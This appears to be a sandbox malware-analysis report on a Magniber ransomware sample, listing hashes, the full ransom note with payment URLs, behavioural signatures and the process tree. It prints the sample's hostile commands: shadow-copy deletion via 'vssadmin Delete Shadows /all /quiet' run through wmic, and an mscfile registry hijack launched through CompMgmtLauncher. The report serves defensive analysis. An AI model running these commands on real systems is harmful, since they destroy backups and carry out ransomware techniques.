Analysis
-
max time kernel
102s -
max time network
137s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
22-06-2021 14:07
Static task
static1
Behavioral task
behavioral1
Sample
7.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
7.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
-
Target
7.exe
-
Size
21KB
-
MD5
555aee36e8e1c0e684e658b9ef65bc83
-
SHA1
f8afbddf6e6ab23f914f961b2eedc51f8b78fabd
-
SHA256
9f72ed1dc20575f4e19a75256a0df8871561008ce1387e12d932598c21a5b16f
-
SHA512
b65578a6c9ed2d9262776a73ebb230aa3deeb7e4aa829add17024609261c58dd9e941d6ebde5a6dcac824b56df8d7dccce4938d498069800cc63f14a05513b52
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://228424a07214c040fadezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw
http://228424a07214c040fadezwvaw.wonride.site/dezwvaw
http://228424a07214c040fadezwvaw.lieedge.casa/dezwvaw
http://228424a07214c040fadezwvaw.bejoin.space/dezwvaw
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://228424a07214c040fadezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw
http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw
http://228424a07214c040fadezwvaw.wonride.site/dezwvaw
http://228424a07214c040fadezwvaw.lieedge.casa/dezwvaw
http://228424a07214c040fadezwvaw.bejoin.space/dezwvaw
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 10 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2064 1904 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2120 1904 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2144 1904 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2080 1904 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2072 1904 cmd.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2708 1904 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2856 1904 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2916 1904 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2960 1904 vssadmin.exe 49 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2932 1904 vssadmin.exe 49 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ConvertFromReceive.crw => C:\Users\Admin\Pictures\ConvertFromReceive.crw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\PingMeasure.raw => C:\Users\Admin\Pictures\PingMeasure.raw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\RestartSave.raw => C:\Users\Admin\Pictures\RestartSave.raw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\SaveUpdate.raw => C:\Users\Admin\Pictures\SaveUpdate.raw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\HideAdd.tif => C:\Users\Admin\Pictures\HideAdd.tif.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\EnableEnter.crw => C:\Users\Admin\Pictures\EnableEnter.crw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\MountSync.raw => C:\Users\Admin\Pictures\MountSync.raw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\UseConvertTo.crw => C:\Users\Admin\Pictures\UseConvertTo.crw.dezwvaw taskhost.exe File renamed C:\Users\Admin\Pictures\SuspendShow.png => C:\Users\Admin\Pictures\SuspendShow.png.dezwvaw taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1088 set thread context of 1124 1088 7.exe 13 PID 1088 set thread context of 1232 1088 7.exe 12 PID 1088 set thread context of 1264 1088 7.exe 11 -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2708 vssadmin.exe 2856 vssadmin.exe 2916 vssadmin.exe 2960 vssadmin.exe 2932 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A96ED681-D362-11EB-9FF3-FE3EDAA4A530} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f000000000200000000001066000000010000200000002ba49e843591de0db6287af49d1917383020a55266197c60c5901fbb0a06f413000000000e8000000002000020000000dc1925c6bef84fd7d173bfddbb8e07c2705ae7eb6389e8d36a7a7c3d302559db90000000699a9a652862237f1426f6d3f228fd88848bc173db444c3500a69ba164787d8537375c576c0508b20ead72e73f9fadd0583f9a6bc29183995f0e99b5d459169ef64c0a88600d1e7288d265f42770279810cffbf964212c2ad48b5ee76bf42f4c5d6caa1876123571dac3f4e960f7ac8253856e7d88d2a503e48f86d37b66b4a9e3a4751db382043e0cdee380ddbc124f40000000c0f9278201a9122f4739ab245d95740f467ab47c4faf52267423c72f0be71947b656b70f3df4cc7ad4eca916e48e6cd9c87330e6543555dab5ba13fdab3ac2e0 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d053dc816f67d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000e0b67b61825a3df875aefd7cf5f0c4304b674024894dbbf6d9770987d6adccd7000000000e800000000200002000000009ba3f56685ce61ea57a41268b7b6982330976a06e0ba1f5c216ce68b01c821020000000f5d8a39e319de9e02def26944cda82de80a876a84cfd5f88606685f47626700a400000001a06c024283d9001341738d51d00a04739ac198675b08feb857d7cea129ae013a8d4557f53f3d9c95ceff1e379d5f0737af29b1edc971fe80ff4202bafbd785c iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135603" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command 7.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" 7.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1296 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1088 7.exe 1088 7.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1088 7.exe 1088 7.exe 1088 7.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1612 WMIC.exe Token: SeSecurityPrivilege 1612 WMIC.exe Token: SeTakeOwnershipPrivilege 1612 WMIC.exe Token: SeLoadDriverPrivilege 1612 WMIC.exe Token: SeSystemProfilePrivilege 1612 WMIC.exe Token: SeSystemtimePrivilege 1612 WMIC.exe Token: SeProfSingleProcessPrivilege 1612 WMIC.exe Token: SeIncBasePriorityPrivilege 1612 WMIC.exe Token: SeCreatePagefilePrivilege 1612 WMIC.exe Token: SeBackupPrivilege 1612 WMIC.exe Token: SeRestorePrivilege 1612 WMIC.exe Token: SeShutdownPrivilege 1612 WMIC.exe Token: SeDebugPrivilege 1612 WMIC.exe Token: SeSystemEnvironmentPrivilege 1612 WMIC.exe Token: SeRemoteShutdownPrivilege 1612 WMIC.exe Token: SeUndockPrivilege 1612 WMIC.exe Token: SeManageVolumePrivilege 1612 WMIC.exe Token: 33 1612 WMIC.exe Token: 34 1612 WMIC.exe Token: 35 1612 WMIC.exe Token: SeIncreaseQuotaPrivilege 1724 WMIC.exe Token: SeSecurityPrivilege 1724 WMIC.exe Token: SeTakeOwnershipPrivilege 1724 WMIC.exe Token: SeLoadDriverPrivilege 1724 WMIC.exe Token: SeSystemProfilePrivilege 1724 WMIC.exe Token: SeSystemtimePrivilege 1724 WMIC.exe Token: SeProfSingleProcessPrivilege 1724 WMIC.exe Token: SeIncBasePriorityPrivilege 1724 WMIC.exe Token: SeCreatePagefilePrivilege 1724 WMIC.exe Token: SeBackupPrivilege 1724 WMIC.exe Token: SeRestorePrivilege 1724 WMIC.exe Token: SeShutdownPrivilege 1724 WMIC.exe Token: SeDebugPrivilege 1724 WMIC.exe Token: SeSystemEnvironmentPrivilege 1724 WMIC.exe Token: SeRemoteShutdownPrivilege 1724 WMIC.exe Token: SeUndockPrivilege 1724 WMIC.exe Token: SeManageVolumePrivilege 1724 WMIC.exe Token: 33 1724 WMIC.exe Token: 34 1724 WMIC.exe Token: 35 1724 WMIC.exe Token: SeIncreaseQuotaPrivilege 876 WMIC.exe Token: SeSecurityPrivilege 876 WMIC.exe Token: SeTakeOwnershipPrivilege 876 WMIC.exe Token: SeLoadDriverPrivilege 876 WMIC.exe Token: SeSystemProfilePrivilege 876 WMIC.exe Token: SeSystemtimePrivilege 876 WMIC.exe Token: SeProfSingleProcessPrivilege 876 WMIC.exe Token: SeIncBasePriorityPrivilege 876 WMIC.exe Token: SeCreatePagefilePrivilege 876 WMIC.exe Token: SeBackupPrivilege 876 WMIC.exe Token: SeRestorePrivilege 876 WMIC.exe Token: SeShutdownPrivilege 876 WMIC.exe Token: SeDebugPrivilege 876 WMIC.exe Token: SeSystemEnvironmentPrivilege 876 WMIC.exe Token: SeRemoteShutdownPrivilege 876 WMIC.exe Token: SeUndockPrivilege 876 WMIC.exe Token: SeManageVolumePrivilege 876 WMIC.exe Token: 33 876 WMIC.exe Token: 34 876 WMIC.exe Token: 35 876 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1264 Explorer.EXE 2040 iexplore.exe 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2040 iexplore.exe 2040 iexplore.exe 2088 IEXPLORE.EXE 2088 IEXPLORE.EXE 2088 IEXPLORE.EXE 2088 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1124 wrote to memory of 1296 1124 taskhost.exe 26 PID 1124 wrote to memory of 1296 1124 taskhost.exe 26 PID 1124 wrote to memory of 1296 1124 taskhost.exe 26 PID 1124 wrote to memory of 872 1124 taskhost.exe 28 PID 1124 wrote to memory of 872 1124 taskhost.exe 28 PID 1124 wrote to memory of 872 1124 taskhost.exe 28 PID 1124 wrote to memory of 328 1124 taskhost.exe 30 PID 1124 wrote to memory of 328 1124 taskhost.exe 30 PID 1124 wrote to memory of 328 1124 taskhost.exe 30 PID 1232 wrote to memory of 324 1232 Dwm.exe 33 PID 1232 wrote to memory of 324 1232 Dwm.exe 33 PID 1232 wrote to memory of 324 1232 Dwm.exe 33 PID 1264 wrote to memory of 560 1264 Explorer.EXE 34 PID 1264 wrote to memory of 560 1264 Explorer.EXE 34 PID 1264 wrote to memory of 560 1264 Explorer.EXE 34 PID 1088 wrote to memory of 1448 1088 7.exe 38 PID 1088 wrote to memory of 1448 1088 7.exe 38 PID 1088 wrote to memory of 1448 1088 7.exe 38 PID 1088 wrote to memory of 1996 1088 7.exe 41 PID 1088 wrote to memory of 1996 1088 7.exe 41 PID 1088 wrote to memory of 1996 1088 7.exe 41 PID 872 wrote to memory of 2040 872 cmd.exe 43 PID 872 wrote to memory of 2040 872 cmd.exe 43 PID 872 wrote to memory of 2040 872 cmd.exe 43 PID 1448 wrote to memory of 876 1448 cmd.exe 45 PID 1448 wrote to memory of 876 1448 cmd.exe 45 PID 1448 wrote to memory of 876 1448 cmd.exe 45 PID 324 wrote to memory of 1612 324 cmd.exe 44 PID 324 wrote to memory of 1612 324 cmd.exe 44 PID 324 wrote to memory of 1612 324 cmd.exe 44 PID 1996 wrote to memory of 1756 1996 cmd.exe 47 PID 1996 wrote to memory of 1756 1996 cmd.exe 47 PID 1996 wrote to memory of 1756 1996 cmd.exe 47 PID 560 wrote to memory of 1724 560 cmd.exe 46 PID 560 wrote to memory of 1724 560 cmd.exe 46 PID 560 wrote to memory of 1724 560 cmd.exe 46 PID 328 wrote to memory of 1772 328 cmd.exe 48 PID 328 wrote to memory of 1772 328 cmd.exe 48 PID 328 wrote to memory of 1772 328 cmd.exe 48 PID 2040 wrote to memory of 2088 2040 iexplore.exe 59 PID 2040 wrote to memory of 2088 2040 iexplore.exe 59 PID 2040 wrote to memory of 2088 2040 iexplore.exe 59 PID 2040 wrote to memory of 2088 2040 iexplore.exe 59 PID 2080 wrote to memory of 2204 2080 cmd.exe 66 PID 2080 wrote to memory of 2204 2080 cmd.exe 66 PID 2080 wrote to memory of 2204 2080 cmd.exe 66 PID 2064 wrote to memory of 2220 2064 cmd.exe 62 PID 2064 wrote to memory of 2220 2064 cmd.exe 62 PID 2064 wrote to memory of 2220 2064 cmd.exe 62 PID 2144 wrote to memory of 2244 2144 cmd.exe 65 PID 2144 wrote to memory of 2244 2144 cmd.exe 65 PID 2144 wrote to memory of 2244 2144 cmd.exe 65 PID 2072 wrote to memory of 2260 2072 cmd.exe 63 PID 2072 wrote to memory of 2260 2072 cmd.exe 63 PID 2072 wrote to memory of 2260 2072 cmd.exe 63 PID 2120 wrote to memory of 2292 2120 cmd.exe 64 PID 2120 wrote to memory of 2292 2120 cmd.exe 64 PID 2120 wrote to memory of 2292 2120 cmd.exe 64 PID 2260 wrote to memory of 2472 2260 CompMgmtLauncher.exe 67 PID 2260 wrote to memory of 2472 2260 CompMgmtLauncher.exe 67 PID 2260 wrote to memory of 2472 2260 CompMgmtLauncher.exe 67 PID 2220 wrote to memory of 2540 2220 CompMgmtLauncher.exe 69 PID 2220 wrote to memory of 2540 2220 CompMgmtLauncher.exe 69 PID 2220 wrote to memory of 2540 2220 CompMgmtLauncher.exe 69
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\7.exe"C:\Users\Admin\AppData\Local\Temp\7.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:876
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1296
-
-
C:\Windows\system32\cmd.execmd /c "start http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw^&1^&46644069^&96^&389^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw&1&46644069&96&389&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2040 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2088
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1772
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2540
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2292
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2604
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2244
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2572
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2204
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2588
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2472
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2708
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2840
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2856
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2916
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2960
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2932